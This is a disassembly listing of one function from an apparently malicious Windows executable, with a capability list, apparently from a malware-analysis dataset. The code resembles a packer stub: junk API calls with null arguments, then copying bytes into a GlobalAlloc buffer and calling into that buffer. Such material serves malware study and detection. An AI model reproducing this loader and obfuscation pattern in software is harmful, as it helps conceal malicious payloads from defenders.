Function at 0x40127f
Capabilities:
Create directory
Delete directory
Get disk information
Get geographical location
Get hostname

Disassembly:
mov eax, 0x4a45f2
call fcn.004a3834
mov eax, 0x28d8
call fcn.0040c3f0
push ebx
push esi
xor esi, esi
cmp dword [0x1a9d20c], 0x93
push edi
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
jne 0x40135a
lea eax, [ebp - 0x14]
push eax
call edi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push esi
lea eax, [ebp - 0xce4]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push ecx
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00401030
fstp st(0)
push esi
push 0x4a90c7
push 0x4b5b20
call fcn.00401af2
add esp, 0xc
push esi
call fcn.00402b1a
fldz
pop ecx
push esi
push ecx
push ecx
fstp qword [esp]
call fcn.0040206d
add esp, 0xc
fstp st(0)
lea eax, [ebp - 0x38]
push eax
call fcn.0040199a
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov dword [eax], eax
mov eax, dword [ebp - 0x24]
mov dword [eax + 4], eax
mov dword [ebp - 0x20], esi
cmp ecx, dword [ebp - 0x24]
je 0x401345
mov ebx, dword [ecx]
push ecx
call fcn.004028c0
pop ecx
mov ecx, ebx
cmp ebx, dword [ebp - 0x24]
jne 0x401335
push dword [ebp - 0x24]
call fcn.004028c0
pop ecx
push dword [ebp - 0x38]
mov dword [ebp - 0x24], esi
call fcn.004028c0
pop ecx
add dword [0x1a9d20c], 0x1134b
push dword [0x1a9d20c]
mov eax, dword [0x4b3d90]
push esi
mov dword [0x1a9dc70], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x1a9d160], eax
call fcn.004011ca
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
mov dword [ebp - 0x14], 0x29156e
push esi
lea eax, [ebp - 0x4e4]
push eax
call ebx
dec dword [ebp - 0x14]
jne 0x401392
mov dword [ebp - 0x14], esi
cmp dword [0x1a9d20c], esi
jbe 0x401416
mov ecx, dword [0x1a9dc70]
mov eax, dword [ebp - 0x14]
mov cl, byte [ecx + eax + 0x1134b]
mov edx, dword [0x1a9d160]
mov byte [edx + eax], cl
cmp dword [0x1a9d20c], 0x490
jne 0x401408
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_StretchDIBits]
lea eax, [ebp - 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [0x1a9d20c]
jb 0x4013ac
mov dword [ebp - 0x14], esi
mov eax, dword [0x1a9d20c]
mov ecx, dword [ebp - 0x14]
add eax, ecx
cmp eax, 0x8d
jne 0x4014a4
push str.hihocajidonubobiwa
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x4e4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push esi
lea eax, [ebp - 0x8e4]
push eax
call ebx
lea eax, [ebp - 0x44]
push eax
call edi
push esi
lea eax, [ebp - 0x1ce4]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
lea eax, [ebp - 0x28e4]
push eax
push str.gufegoyedebux
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x38681
jl 0x401419
mov eax, dword [0x1a9d20c]
mov ecx, dword [0x1a9d160]
shr eax, 3
cmp eax, esi
jbe 0x4014fa
mov edi, ecx
mov ebx, eax
cmp dword [0x1a9d20c], 0x959
jne 0x4014ee
push esi
lea eax, [ebp - 0x8e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push edi
call fcn.0040105a
add edi, 8
dec ebx
jne 0x4014ca
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x40151b
mov dword [ebp - 0x14], esi
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x1a9d160], eax
inc edi
cmp edi, 0x674db
jl 0x4014fc
push 0x7b
pop edi
cmp dword [0x1a9d20c], 0x86
jne 0x401584
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
lea eax, [ebp - 0x3c]
push eax
push esi
lea eax, [ebp - 0x20e4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
lea eax, [ebp - 0x10e4]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x14e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
dec edi
jne 0x401527
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x1a9d160]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret